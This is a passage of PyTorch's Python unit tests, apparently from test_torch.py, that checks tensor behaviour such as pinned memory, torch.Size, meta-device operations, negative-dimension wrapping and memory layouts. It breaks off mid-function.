@unittest.skipIf(PYTORCH_CUDA_MEMCHECK, "is_pinned uses failure to detect pointer property") def test_pin_memory(self): x = torch.randn(3, 5) self.assertFalse(x.is_pinned()) if not torch.cuda.is_available(): self.assertRaises(RuntimeError, lambda: x.pin_memory()) else: pinned = x.pin_memory() self.assertTrue(pinned.is_pinned()) self.assertEqual(pinned, x) self.assertNotEqual(pinned.data_ptr(), x.data_ptr()) # test that pin_memory on already pinned tensor has no effect self.assertIs(pinned, pinned.pin_memory()) self.assertEqual(pinned.data_ptr(), pinned.pin_memory().data_ptr()) def test_error_msg_type_translation(self): with self.assertRaisesRegex( RuntimeError, # message includes both Double and Long '(?=.*Double)(?=.*Long)'): # Calls model with a LongTensor input but DoubleTensor weights input = torch.zeros(1, 1, 1, 6, dtype=torch.long) weight = torch.nn.Parameter(torch.zeros(1, 1, 1, 3, dtype=torch.double)) model = torch.nn.Conv2d(1, 1, (1, 3), stride=1, padding=0, bias=False) model.weight = weight out = model(input) def test_apply(self): x = torch.arange(1, 6) res = x.clone().apply_(lambda k: k + k) self.assertEqual(res, x * 2) self.assertRaises(TypeError, lambda: x.apply_(lambda k: "str")) def test_map(self): x = torch.autograd.Variable(torch.randn(3, 3)) y = torch.autograd.Variable(torch.randn(3)) res = x.clone() res.map_(y, lambda a, b: a + b) self.assertEqual(res, x + y) self.assertRaisesRegex(TypeError, "not callable", lambda: res.map_(y, "str")) def test_map2(self): x = torch.autograd.Variable(torch.randn(3, 3)) y = torch.autograd.Variable(torch.randn(3)) z = torch.autograd.Variable(torch.randn(1, 3)) res = x.clone() res.map2_(y, z, lambda a, b, c: a + b * c) self.assertEqual(res, x + y * z) z.requires_grad = True self.assertRaisesRegex( RuntimeError, "requires grad", lambda: res.map2_(y, z, lambda a, b, c: a + b * c)) def test_Size(self): x = torch.Size([1, 2, 3]) self.assertIsInstance(x, tuple) self.assertEqual(x[0], 1) self.assertEqual(x[1], 2) self.assertEqual(x[2], 3) self.assertEqual(len(x), 3) self.assertRaises(TypeError, lambda: torch.Size(torch.ones(3))) self.assertIsInstance(x * 2, torch.Size) self.assertIsInstance(x[:-1], torch.Size) self.assertIsInstance(x + x, torch.Size) def test_Size_scalar(self): three = torch.tensor(3) two = torch.tensor(2) x = torch.Size([0, 1, two, three, 4]) for i in range(1, 5): self.assertEqual(x[i], i) def test_Size_iter(self): for sizes in [iter([1, 2, 3, 4, 5]), range(1, 6)]: x = torch.Size(sizes) for i in range(0, 5): self.assertEqual(x[i], i + 1) def test_t_not_2d_error(self): self.assertRaises(RuntimeError, lambda: torch.randn(2, 3, 4).t()) self.assertRaises(RuntimeError, lambda: torch.randn(2, 3, 4).t_()) # skip this test for now as it affects all tests @unittest.skipIf(True, "flush_denormal not supported") def test_set_flush_denormal(self): tiny_float = 1e-42 tiny_double = 1e-320 float_tensor = torch.FloatTensor([1.0, tiny_float]) double_tensor = torch.DoubleTensor([1.0, tiny_float, tiny_double]) self.assertEqual(float_tensor[0], 1.0, atol=0.0, rtol=0) self.assertEqual(float_tensor[1], tiny_float, atol=tiny_float / 16, rtol=0) self.assertEqual(double_tensor[0], 1.0, atol=0.0, rtol=0) self.assertEqual(double_tensor[1], tiny_float, atol=0.0, rtol=0) self.assertEqual(double_tensor[2], tiny_double, atol=0.0, rtol=0) torch.set_flush_denormal(True) self.assertEqual(float_tensor[0], 1.0, atol=0.0, rtol=0) self.assertEqual(float_tensor[1], 0.0, atol=0.0, rtol=0) # tiny_float to zero self.assertEqual(double_tensor[0], 1.0, atol=0.0, rtol=0) # tiny_float is not converted to zero in double type self.assertEqual(double_tensor[1], tiny_float, atol=0.0, rtol=0) self.assertEqual(double_tensor[2], 0.0, atol=0.0, rtol=0) # tiny_double to zero torch.set_flush_denormal(False) def test_show_config(self): # We can't usefully test the output; just make sure this doesn't crash torch.__config__.show() @unittest.skipIf(IS_FBCODE, "CXX_FLAGS is only for OSS build.") def test_cxx_flags(self): torch.__config__._cxx_flags() def test_parallel_info(self): torch.__config__.parallel_info() @slowTest def test_slow_test(self): # Just a smoketest to make sure our slowTest decorator works. pass def test_is_nonzero(self): with self.assertRaisesRegex(RuntimeError, "Boolean value of Tensor with no values is ambiguous"): torch.tensor([]).is_nonzero() with self.assertRaisesRegex(RuntimeError, "Boolean value of Tensor with more than one value is ambiguous"): torch.tensor([0, 0]).is_nonzero() self.assertFalse(torch.tensor(0).is_nonzero()) self.assertTrue(torch.tensor(1).is_nonzero()) self.assertFalse(torch.tensor([0]).is_nonzero()) self.assertTrue(torch.tensor([1]).is_nonzero()) self.assertFalse(torch.tensor([[0]]).is_nonzero()) self.assertTrue(torch.tensor([[1]]).is_nonzero()) self.assertTrue(torch.tensor(0.1).is_nonzero()) self.assertTrue(torch.tensor(-0.1).is_nonzero()) self.assertFalse(torch.tensor(0.0).is_nonzero()) self.assertTrue(torch.tensor(True).is_nonzero()) self.assertFalse(torch.tensor(False).is_nonzero()) self.assertFalse(torch.tensor(0 + 0j).is_nonzero()) self.assertTrue(torch.tensor(0 + 0.1j).is_nonzero()) def test_assert_async(self): with self.assertRaisesRegex(RuntimeError, "Boolean value of Tensor with no values is ambiguous"): torch._assert_async(torch.tensor([])) with self.assertRaisesRegex(RuntimeError, "Boolean value of Tensor with more than one value is ambiguous"): torch._assert_async(torch.tensor([0, 0])) with self.assertRaisesRegex(RuntimeError, "Expected Tensor with single nonzero value, but got zero"): torch._assert_async(torch.tensor(0)) torch._assert_async(torch.tensor(1)) torch._assert_async(torch.tensor(0.1)) torch._assert_async(torch.tensor(-0.1)) with self.assertRaisesRegex(RuntimeError, "Expected Tensor with single nonzero value, but got zero"): torch._assert_async(torch.tensor(0.0)) torch._assert_async(torch.tensor(True)) with self.assertRaisesRegex(RuntimeError, "Expected Tensor with single nonzero value, but got zero"): torch._assert_async(torch.tensor(False)) torch._assert_async(torch.tensor(0 + 0.1j)) with self.assertRaisesRegex(RuntimeError, "Expected Tensor with single nonzero value, but got zero"): torch._assert_async(torch.tensor(0 + 0j)) # NB: we must not be built with CUDA; if we are built with CUDA but no CUDA # is available, we get a different error. @unittest.skipIf(torch.backends.cuda.is_built() or IS_SANDCASTLE, "CUDA is built, can't test CUDA not built error") def test_cuda_not_built(self): msg = "Torch not compiled with CUDA enabled" self.assertRaisesRegex(AssertionError, msg, lambda: torch.cuda.current_device()) self.assertRaisesRegex(AssertionError, msg, lambda: torch.tensor([1], device="cuda")) self.assertRaisesRegex(AssertionError, msg, lambda: torch.tensor([1]).cuda()) self.assertRaisesRegex(TypeError, msg, lambda: torch.cuda.FloatTensor()) self.assertRaisesRegex(TypeError, msg, lambda: torch.set_default_tensor_type(torch.cuda.FloatTensor)) self.assertRaisesRegex(AssertionError, msg, lambda: torch.tensor([1]).to(device="cuda")) def test_has_internal_overlap(self): OVERLAP_NO = 0 OVERLAP_YES = 1 OVERLAP_TOO_HARD = 2 # Check for contiguous tensors a = torch.randn(3, 3) self.assertEqual(torch._debug_has_internal_overlap(a), OVERLAP_NO) # Checks for zero strides b = torch.randn(1, 3) b_expanded = b.expand(4, 3) self.assertEqual(torch._debug_has_internal_overlap(b_expanded), OVERLAP_YES) # Check for zero strided, size 1 axis, in non-contiguous storage (gh-33812) c = torch.randn(10).as_strided([2, 1, 5], [1, 0, 2]) self.assertEqual(torch._debug_has_internal_overlap(c), OVERLAP_NO) c = torch.randn(2, 1, 10)[::2].as_strided((2, 1, 5), (10, 0, 2)) self.assertEqual(torch._debug_has_internal_overlap(c), OVERLAP_TOO_HARD) def test_allow_tensor_metadata_change(self): def do_test(t): with self.assertRaisesRegex( RuntimeError, "set_sizes_contiguous is not allowed on a Tensor created from .data or .detach()"): t.resize_((2, 1)) with self.assertRaisesRegex( RuntimeError, "set_storage is not allowed on a Tensor created from .data or .detach()"): t.set_() with self.assertRaisesRegex( RuntimeError, "set_storage_offset is not allowed on a Tensor created from .data or .detach()"): t.set_(t.storage(), 0, t.size(), list(t.stride())) do_test(torch.tensor([[1, 2]]).data) do_test(torch.tensor([[1, 2]]).detach()) def test_c10_layer_norm(self): # test that we can call c10 ops and they return a reasonable result X = torch.rand(5, 5, dtype=torch.float) weight = torch.rand(*X.size()[1:], dtype=torch.float) bias = torch.rand(*X.size()[1:], dtype=torch.float) epsilon = 1e-4 expected_norm = torch.nn.functional.layer_norm( X, X.size()[1:], weight=weight, bias=bias, eps=epsilon) actual_norm, actual_mean, actual_stdev = \ torch.ops._caffe2.LayerNorm(torch.tensor(X), torch.tensor( weight), torch.tensor(bias), 1, epsilon, True) torch.testing.assert_close(expected_norm, actual_norm) def test_memory_format(self): def test_helper(x, memory_format): y = x.contiguous(memory_format=memory_format) self.assertFalse(y.is_contiguous()) self.assertTrue(y.is_contiguous(memory_format=memory_format)) self.assertEqual(y, x) test_helper(torch.randn(4, 3, 8, 8), torch.channels_last) test_helper(torch.randn(4, 3, 8, 8, 8), torch.channels_last_3d) def test_memory_format_contiguous_returns_same_tensor_if_already_satisfies(self): def test_helper(x, memory_format): alias = x.contiguous(memory_format=memory_format) alias.fill_(7) self.assertEqual(x, alias) test_helper(torch.randn(4, 8, 8, 3).permute(0, 3, 1, 2), torch.channels_last) test_helper(torch.randn(4, 8, 8, 8, 3).permute(0, 4, 1, 2, 3), torch.channels_last_3d) def test_memory_format_empty(self): def test_helper(dim1, dim2, memory_format): with self.assertRaises(RuntimeError): x = torch.empty(dim1, memory_format=memory_format) x = torch.empty(dim2, memory_format=memory_format) self.assertTrue(x.is_contiguous(memory_format=memory_format)) test_helper((3, 3), (3, 3, 3, 3), torch.channels_last) test_helper((3, 3, 3), (3, 3, 3, 3, 3), torch.channels_last_3d) def test_subclass_tensors(self): # raise an error when trying to subclass FloatTensor with self.assertRaisesRegex(TypeError, "type 'torch.FloatTensor' is not an acceptable base type"): class Foo1(torch.FloatTensor): pass # but allow subclassing Tensor: class Foo2(torch.Tensor): def foo(self): return 5 f = Foo2() self.assertEqual(f.foo(), 5) def test_ndim(self): a = torch.randn(1, 2, 3) self.assertEqual(3, a.ndim) b = torch.randn(()) self.assertEqual(0, b.ndim) c = torch.randn(1, 0) self.assertEqual(2, c.ndim) def test_fill_diagonal(self): a1 = torch.randn(7, 3) a2 = a1.clone() v = 1 for i in range(3): a2[i][i] = v a1.fill_diagonal_(v) self.assertEqual(a1, a2) b1 = torch.randn(7, 3) b2 = b1.clone() for i in range(3): b2[i][i] = v b2[i + 4][i] = v b1.fill_diagonal_(v, wrap=True) self.assertEqual(b1, b2) c1 = torch.rand(3, 3, 3) c2 = c1.clone() for i in range(3): c2[i][i][i] = v c1.fill_diagonal_(v) self.assertEqual(c1, c2) # non-contiguous tensor d1 = torch.rand(3, 3, 3)[:, 1, ...] d2 = d1.clone() for i in range(3): d2[i][i] = v d1.fill_diagonal_(v) self.assertEqual(d1, d2) e1 = torch.rand(7, 3, 3)[:, 1, ...] e2 = e1.clone() for i in range(3): e2[i][i] = v e2[i + 4][i] = v e1.fill_diagonal_(v, wrap=True) self.assertEqual(e1, e2) def test_batch_norm_cpu_inference(self): # input nchw in (2,1,1,1), (2,2,2,2) inputs = [ torch.tensor([[[[-0.5000]]], [[[0.5000]]]]), torch.tensor([ [ [[-0.5000, 0.5000], [-1.0000, 1.0000]], [[-0.2500, -0.5000], [0.2500, 0.5000]] ], [ [[0.1000, 1.0000], [1.0000, 0.1000]], [[1.0000, 0.5000], [1.5000, -1.5000]] ]])] # output nchw in (2,1,1,1), (2,2,2,2) outputs = [ torch.tensor([ [[[-0.499997496604919433593750000]]], [[[0.499997496604919433593750000]]]]), torch.tensor([ [[[-0.499997496604919433593750000, 0.499997496604919433593750000], [-0.999994993209838867187500000, 0.999994993209838867187500000]], [[-0.249998748302459716796875000, -0.499997496604919433593750000], [0.249998748302459716796875000, 0.499997496604919433593750000]]], [[[0.099999502301216125488281250, 0.999994993209838867187500000], [0.999994993209838867187500000, 0.099999502301216125488281250]], [[0.999994993209838867187500000, 0.499997496604919433593750000], [1.499992489814758300781250000, -1.499992489814758300781250000]]]])] for i in range(len(inputs)): for affine in [False, True]: m = torch.nn.BatchNorm2d(inputs[i].size()[1], 1e-05, 0.1, affine=affine) m.eval() # contiguous case input1 = inputs[i].contiguous() output1 = m(input1) # non-contiguous case input2 = input1.permute(0, 1, 3, 2) output2 = m(input2).permute(0, 1, 3, 2) # channels last case input3 = input1.contiguous(memory_format=torch.channels_last) output3 = m(input3) self.assertEqual(output3, outputs[i]) self.assertEqual(output3, output1) self.assertEqual(output3, output2) @noarchTest def test_empty_meta(self): x = torch.empty(2 ** 20, 2 ** 20, device='meta') y = torch.empty(2 ** 20, device='meta') z = x + y self.assertEqual(z.size(), (2 ** 20, 2 ** 20)) self.assertRaises(RuntimeError, lambda: z[0][0].item()) @noarchTest def test_upsample_nearest1d_meta(self): # TODO: this test should be triggered by test_nn.py but right # now meta is not enabled (and even if it was, we are probably # missing too many meta functions to get through the test unmolested) # NB: Can't make the exponent too big, or it will overflow # signed 64-bit integer x = torch.empty(2 * 10 ** 8, 3, 2 * 10 ** 8, device='meta') z = torch.nn.functional.interpolate(x, scale_factor=2) self.assertEqual(z.size(), (2 * 10 ** 8, 3, 4 * 10 ** 8)) self.assertRaises(RuntimeError, lambda: z[0][0][0].item()) # TODO: the out tests cannot be triggered by test_nn.py because # we don't actually do out= arguments for nn functions, so there # is no public API by which to get the out version # interpolate doesn't seem to support out= # (not sure why passing None here doesn't work? How strange...) z = torch.empty(0, device='meta') torch._C._nn.upsample_nearest1d(x, (4 * 10 ** 8,), 2, out=z) self.assertEqual(z.size(), (2 * 10 ** 8, 3, 4 * 10 ** 8)) self.assertRaises(RuntimeError, lambda: z[0][0][0].item()) @noarchTest def test_upsample_nearest2d_meta(self): # TODO: the out tests cannot be triggered by test_nn.py because # we don't actually do out= arguments for nn functions, so there # is no public API by which to get the out version # Make sure we don't clobber strides of out tensor. NB: this # test must be done on 2d/3d, because 1d doesn't have any meaningful # layout support x = torch.empty(4, 3, 8, 8, device='meta') out = torch.empty(4, 3, 16, 16, device='meta', memory_format=torch.channels_last) torch._C._nn.upsample_nearest2d(x, (16, 16), out=out) self.assertTrue(out.is_contiguous(memory_format=torch.channels_last)) x = torch.empty(4, 3, 8, 8, device='meta', memory_format=torch.channels_last) out = torch.empty(4, 3, 16, 16, device='meta') torch._C._nn.upsample_nearest2d(x, (16, 16), out=out) self.assertTrue(out.is_contiguous()) # But if resize occurs, do clobber x = torch.empty(4, 3, 8, 8, device='meta', memory_format=torch.channels_last) out = torch.empty(0, device='meta') torch._C._nn.upsample_nearest2d(x, (16, 16), out=out) self.assertTrue(out.is_contiguous(memory_format=torch.channels_last)) # Complain if out dtype mismatch x = torch.empty(4, 3, 8, 8, device='meta', dtype=torch.float) out = torch.empty(4, 3, 16, 16, device='meta', dtype=torch.double) self.assertExpectedRaisesInline( RuntimeError, lambda: torch._C._nn.upsample_nearest2d(x, (16, 16), out=out), """Expected out tensor to have dtype float, but got double instead""" ) # Complain if out device mismatch x = torch.empty(0, 3, 8, 8, device='meta') out = torch.empty(0, 3, 16, 16, device='cpu') self.assertExpectedRaisesInline( RuntimeError, lambda: torch._C._nn.upsample_nearest2d(x, (16, 16), out=out), """Expected out tensor to have device meta, but got cpu instead""" ) @noarchTest def test_detach_meta(self): x = torch.empty(2, device='meta') # This used to segfault self.assertRaises(RuntimeError, lambda: x.detach().storage()) @noarchTest def test_add_meta_scalar(self): # From https://github.com/pytorch/pytorch/issues/53815 x = torch.empty(2, device='meta') y = x + 2 self.assertEqual(y.size(), x.size()) def test_normal_shape(self): warned = False for device in torch.testing.get_all_device_types(): tensor1 = torch.rand(1, device=device) tensor4 = torch.rand(4, device=device) tensor120 = torch.rand(120, device=device) tensor2145 = torch.rand(2, 1, 4, 5, device=device) tensor2345 = torch.rand(2, 3, 4, 5, device=device) tensor2345_non_contiguous = torch.rand(2, 4, 3, 5, device=device).permute(0, 2, 1, 3) tensor2345_channels_last = tensor2345.contiguous(memory_format=torch.channels_last) output2345 = torch.zeros(2, 3, 4, 5, device=device) output345 = torch.zeros(3, 4, 5, device=device) # inputs have same size self.assertEqual(torch.normal(tensor2345, tensor2345).size(), (2, 3, 4, 5)) self.assertEqual(torch.normal(tensor2345_non_contiguous, tensor2345).size(), (2, 3, 4, 5)) self.assertEqual(torch.normal(tensor2345, tensor2345_channels_last).size(), (2, 3, 4, 5)) self.assertEqual(torch.normal(tensor2345_non_contiguous, tensor2345_channels_last).size(), (2, 3, 4, 5)) # scalar case self.assertEqual(torch.normal(tensor2345, 2).size(), (2, 3, 4, 5)) self.assertEqual(torch.normal(2, tensor2345).size(), (2, 3, 4, 5)) # inputs are expandable tensors self.assertEqual(torch.normal(tensor2345, tensor1).size(), (2, 3, 4, 5)) self.assertEqual(torch.normal(tensor2145, tensor2345).size(), (2, 3, 4, 5)) # inputs are non-expandable tensors, but they have same number of elements # TORCH_WARN_ONCE is used in torch.normal, only 1st assertEqual will show warn msg if not warned: self.assertWarnsRegex(UserWarning, "deprecated and the support will be removed", lambda: self.assertEqual(torch.normal(tensor120, tensor2345).size(), (120,))) warned = True else: self.assertEqual(torch.normal(tensor120, tensor2345).size(), (120,)) self.assertEqual(torch.normal(tensor2345, tensor120).size(), (2, 3, 4, 5)) # inputs are non-expandable tensors and they don't have same number of elements with self.assertRaisesRegex(RuntimeError, "inconsistent tensor"): torch.normal(tensor2345, tensor4) # output and inputs are size compatible self.assertEqual(torch.normal(tensor2345, tensor2345, out=output2345).size(), (2, 3, 4, 5)) # output and inputs are not size compatible with self.assertRaisesRegex(RuntimeError, "inconsistent tensor"): # inputs are expandable but have different broadcasted size than output torch.normal(tensor2345, tensor2145, out=output345) with self.assertRaisesRegex(RuntimeError, "inconsistent tensor"): # inputs are not expandable but reshapeable, output size is not the same as mean torch.normal(tensor2345, tensor120, out=output345) def test_tensoriterator_output_setup(self): # Test whether the output's memory layout is correct def test_memory_layout(x, y, scale, zero_point, out): self.assertEqual(x.dim(), 4) self.assertEqual(x.size(), y.size()) self.assertEqual(y.size(), out.size()) shape = x.size() for n in range(shape[0]): for c in range(shape[1]): for h in range(shape[2]): for w in range(shape[3]): if scale is not None and zero_point is not None: self.assertEqual( out[n][c][h][w], torch.ops.quantized.add(x[n][c][h][w], y[n][c][h][w], scale, zero_point)) else: self.assertEqual(out[n][c][h][w], x[n][c][h][w] + y[n][c][h][w]) xraw = torch.rand(2, 3, 4, 4) yraw = torch.rand(2, 3, 4, 4) qxraw = torch.quantize_per_tensor(xraw, 0.1, 5, torch.quint8) qyraw = torch.quantize_per_tensor(yraw, 0.1, 5, torch.quint8) # contiguous case fast setup test_memory_layout(xraw, yraw, None, None, xraw + yraw) test_memory_layout(qxraw, qyraw, 0.1, 5, torch.ops.quantized.add(qxraw, qyraw, 0.1, 5)) # channels last case fast setup x = xraw.contiguous(memory_format=torch.channels_last) y = yraw.contiguous(memory_format=torch.channels_last) test_memory_layout(x, y, None, None, x + y) qx = qxraw.contiguous(memory_format=torch.channels_last) qy = qyraw.contiguous(memory_format=torch.channels_last) test_memory_layout(qx, qy, 0.1, 5, torch.ops.quantized.add(qx, qy, 0.1, 5)) # non contiguous case fast setup (dense, non-overlapping, same shape and strides) x = xraw.permute(0, 2, 3, 1) y = yraw.permute(0, 2, 3, 1) test_memory_layout(x, y, None, None, x + y) qx = qxraw.permute(0, 2, 3, 1) qy = qyraw.permute(0, 2, 3, 1) test_memory_layout(qx, qy, 0.1, 5, torch.ops.quantized.add(qx, qy, 0.1, 5)) # non contiguous case fast setup (dense, non-overlapping) # input tensors have same shape and strides # output tensor have same shape as input tensors but different stride # output tensor should preserve its strides in this case x = xraw.permute(0, 2, 3, 1) y = yraw.permute(0, 2, 3, 1) out = torch.empty_like(xraw) out = out.permute(0, 3, 2, 1) expected_stride = out.stride() test_memory_layout(x, y, None, None, torch.add(x, y, out=out)) self.assertEqual(expected_stride, out.stride()) # non contiguous case non fast setup x = xraw.permute(0, 2, 3, 1) y = yraw.permute(0, 3, 2, 1) test_memory_layout(x, y, None, None, x + y) qx = qxraw.permute(0, 2, 3, 1) qy = qyraw.permute(0, 3, 2, 1) test_memory_layout(qx, qy, 0.1, 5, torch.ops.quantized.add(qx, qy, 0.1, 5)) # Tests to make sure we still handle .data properly until it is removed def test_dot_data_use(self): # .data allows to change the Tensors types inplace, check that we still # raise a nice error. with self.assertRaisesRegex( RuntimeError, # message includes both Double and Long '(?=.*Double)(?=.*Long)'): # Calls model with a LongTensor input but DoubleTensor weights input = torch.randn(1, 1, 1, 6, dtype=torch.double) weight = torch.zeros(1, 1, 1, 3, dtype=torch.long) model = torch.nn.Conv2d(1, 1, (1, 3), stride=1, padding=0, bias=False) model.weight.data = weight out = model(input) # Functions to test negative dimension wrapping METHOD = 1 INPLACE_METHOD = 2 FUNCTIONAL = 4 DIM_ARG = None def make_neg_dim_test(name, tensor_arg, arg_constr, types, extra_dim=0): def neg_dim_test(self): if isinstance(tensor_arg, list): assert METHOD not in types and INPLACE_METHOD not in types x = [torch.randn(arg) for arg in tensor_arg] ndim = len(tensor_arg[-1]) else: x = torch.randn(*tensor_arg) ndim = len(tensor_arg) ndim += extra_dim n_dim_to_test = sum(e is DIM_ARG for e in arg_constr()) for dims_val in combinations(range(ndim), n_dim_to_test): arg = arg_constr() arg_neg = copy.deepcopy(arg) idx = 0 for i, v in enumerate(arg): if v is DIM_ARG: arg[i] = dims_val[idx] arg_neg[i] = dims_val[idx] - ndim idx += 1 if METHOD in types: a = getattr(x, name)(*arg) b = getattr(x, name)(*arg_neg) self.assertEqual(a, b) if INPLACE_METHOD in types: a = x.clone() getattr(a, name + '_')(*arg) b = x.clone() getattr(b, name + '_')(*arg_neg) self.assertEqual(a, b) if FUNCTIONAL in types: a = getattr(torch, name)(x, *arg) b = getattr(torch, name)(x, *arg_neg) self.assertEqual(a, b) return neg_dim_test def idx_tensor(size, max_val): return torch.LongTensor(*size).random_(0, max_val - 1) def add_neg_dim_tests(): neg_dim_tests = [ ('narrow', (10, 20, 30), lambda: [DIM_ARG, 0, 5], [METHOD]), ('transpose', (10, 20, 30), lambda: [DIM_ARG, DIM_ARG], [METHOD, INPLACE_METHOD, FUNCTIONAL]), ('size', (10, 20, 30), lambda: [DIM_ARG], [METHOD]), ('cat', [(2, 3, 4), (2, 3, 4)], lambda: [DIM_ARG], [FUNCTIONAL]), ('chunk', (10, 20, 30), lambda: [5, DIM_ARG], [METHOD, FUNCTIONAL]), ('gather', (10, 20), lambda: [DIM_ARG, idx_tensor((10, 20), 10)], [METHOD, FUNCTIONAL]), ('index_select', (10, 10), lambda: [DIM_ARG, idx_tensor((10,), 10)], [METHOD, FUNCTIONAL]), ('split', (10, 20), lambda: [5, DIM_ARG], [METHOD, FUNCTIONAL]), ('squeeze', (10, 1, 20, 1), lambda: [DIM_ARG], [METHOD, INPLACE_METHOD, FUNCTIONAL]), ('unbind', (2, 3, 4), lambda: [DIM_ARG], [FUNCTIONAL]), ('unsqueeze', (10, 20), lambda: [DIM_ARG], [METHOD, INPLACE_METHOD, FUNCTIONAL], 1), ('logcumsumexp', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('cumprod', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('cumsum', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('cummax', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('cummin', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('mean', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('median', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('nanmedian', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('mode', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('norm', (10, 20), lambda: [2, DIM_ARG], [METHOD, FUNCTIONAL]), ('prod', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('std', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('sum', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('var', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('kthvalue', (10, 20), lambda: [3, DIM_ARG], [METHOD, FUNCTIONAL]), ('max', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('min', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('sort', (10, 20), lambda: [DIM_ARG], [METHOD, FUNCTIONAL]), ('topk', (10, 20), lambda: [5, DIM_ARG], [METHOD, FUNCTIONAL]), ('renorm', (10, 20), lambda: [2, DIM_ARG, 1], [METHOD, INPLACE_METHOD, FUNCTIONAL]), ('index_add', (10, 10), lambda: [DIM_ARG, idx_tensor((10,), 10), torch.randn(10, 10)], [INPLACE_METHOD]), ('index_copy', (10, 10), lambda: [DIM_ARG, idx_tensor((10,), 10), torch.randn(10, 10)], [INPLACE_METHOD]), ('index_fill', (10, 10), lambda: [DIM_ARG, idx_tensor((10,), 10), 12], [INPLACE_METHOD]), ('scatter', (10, 10), lambda: [DIM_ARG, idx_tensor((10, 10), 10), torch.randn(10, 10)], [INPLACE_METHOD]), ('select', (10, 20), lambda: [DIM_ARG, 3], [METHOD]), ('unfold', (10, 20), lambda: [DIM_ARG, 5, 2], [METHOD]), ] for decl in neg_dim_tests: if len(decl) == 4: name, tensor_arg, arg_constr, types = decl extra_dim = 0 elif len(decl) == 5: name, tensor_arg, arg_constr, types, extra_dim = decl test_name = 'test_' + name + '_neg_dim' assert not hasattr(AbstractTestCases._TestTorchMixin, test_name), "Duplicated test name: " + test_name setattr(AbstractTestCases._TestTorchMixin, test_name, make_neg_dim_test(name, tensor_arg, arg_constr, types, extra_dim)) @contextlib.contextmanager def torch_vital_set(value): stash = None if 'TORCH_VITAL' in os.environ: stash = os.environ['TORCH_VITAL'] os.environ['TORCH_VITAL'] = value try: yield finally: if stash: os.environ['TORCH_VITAL'] = stash else: del os.environ['TORCH_VITAL'] # Tests Vital Signs for Torch class TestBasicVitalSigns(TestCase): def test_basic_vitals(self): with torch_vital_set(''): self.assertFalse(torch.vitals_enabled()) with torch_vital_set('ON'): self.assertTrue(torch.vitals_enabled()) def test_basic_vitals_read_write(self): with torch_vital_set('ON'): self.assertTrue(torch.vitals_enabled()) # This tests the code path of setting a vital self.assertTrue(torch.set_vital('Dataloader', 'basic_unit_test', 'TEST_VALUE_STRING')) self.assertIn('TEST_VALUE_STRING', torch.read_vitals()) self.assertIn('CUDA.used', torch.read_vitals()) def test_dataloader_vitals(self): with torch_vital_set('ON'): inps = torch.arange(10 * 5, dtype=torch.float32).view(10, 5) tgts = torch.arange(10 * 5, dtype=torch.float32).view(10, 5) dataset = torch.utils.data.TensorDataset(inps, tgts) loader = torch.utils.data.DataLoader(dataset, batch_size=2) self.assertIn('Dataloader.enabled\t\t True', torch.read_vitals()) class TestVitalSignsCuda(TestCase): @onlyCUDA def test_cuda_vitals_gpu_only(self, device): with torch_vital_set('ON'): self.assertIn('CUDA.used\t\t true', torch.read_vitals()) # Device-generic tests. Instantiated below and not run directly. class TestTorchDeviceType(TestCase): exact_dtype = True # TODO: move all tensor creation to common ops def _rand_shape(self, dim, min_size, max_size): shape = [] for i in range(dim): shape.append(random.randint(min_size, max_size)) return tuple(shape) # Validates that mathematical constants are defined properly, as required by # the Python Array API (https://data-apis.org/array-api/latest/API_specification/constants.html) @onlyCPU def test_constants(self, device): self.assertIsInstance(torch.e, float) self.assertEqual(torch.e, math.e, atol=0, rtol=0) self.assertIsInstance(torch.pi, float) self.assertEqual(torch.pi, math.pi, atol=0, rtol=0) self.assertIsInstance(torch.nan, float) self.assertEqual(torch.nan, math.nan, equal_nan=True) self.assertIsInstance(torch.inf, float) self.assertEqual(torch.inf, math.inf) @dtypes(torch.float32, torch.complex64) def test_storage(self, device, dtype): v = torch.randn(3, 5, dtype=dtype, device=device) self.assertEqual(v.storage()[0], v[0][0]) self.assertEqual(v.storage()[14], v[2][4]) @dtypes(torch.float32, torch.complex64) def test_deepcopy(self, device, dtype): from copy import deepcopy a = torch.randn(5, 5, dtype=dtype, device=device) b = torch.randn(5, 5, dtype=dtype, device=device) c = a.view(25) q = [a, [a.storage(), b.storage()], b, c] w = deepcopy(q) self.assertEqual(w[0], q[0], atol=0, rtol=0) self.assertEqual(w[1][0], q[1][0], atol=0, rtol=0) self.assertEqual(w[1][1], q[1][1], atol=0, rtol=0) self.assertEqual(w[1], q[1], atol=0, rtol=0) self.assertEqual(w[2], q[2], atol=0, rtol=0) # Check that deepcopy preserves sharing w[0].add_(1) for i in range(a.numel()): self.assertEqual(w[1][0][i], q[1][0][i] + 1) self.assertEqual(w[3], c + 1) w[2].sub_(1) for i in range(a.numel()): self.assertEqual(w[1][1][i], q[1][1][i] - 1) @dtypes(torch.float32, torch.complex64) def test_deepcopy_scalar(self, device, dtype): from copy import deepcopy a = torch.tensor(5, dtype=dtype, device=device) self.assertEqual(a.size(), deepcopy(a).size()) self.assertEqual(a, deepcopy(a)) def check_internal_mem_overlap(self, inplace_op, num_inputs, dtype, device, expected_failure=False): if isinstance(inplace_op, str): inplace_op = getattr(torch.Tensor, inplace_op) input = torch.randn(1, dtype=dtype, device=device).expand(3, 3) inputs = [input] + [torch.randn_like(input) for i in range(num_inputs - 1)] if not expected_failure: with self.assertRaisesRegex(RuntimeError, 'single memory location'): inplace_op(*inputs) else: with self.assertRaises(AssertionError): with self.assertRaisesRegex(RuntimeError, 'single memory location'): inplace_op(*inputs) def unary_check_input_output_mem_overlap(self, data, sz, op, expected_failure=False): def _test(op, output, input): output_exp = 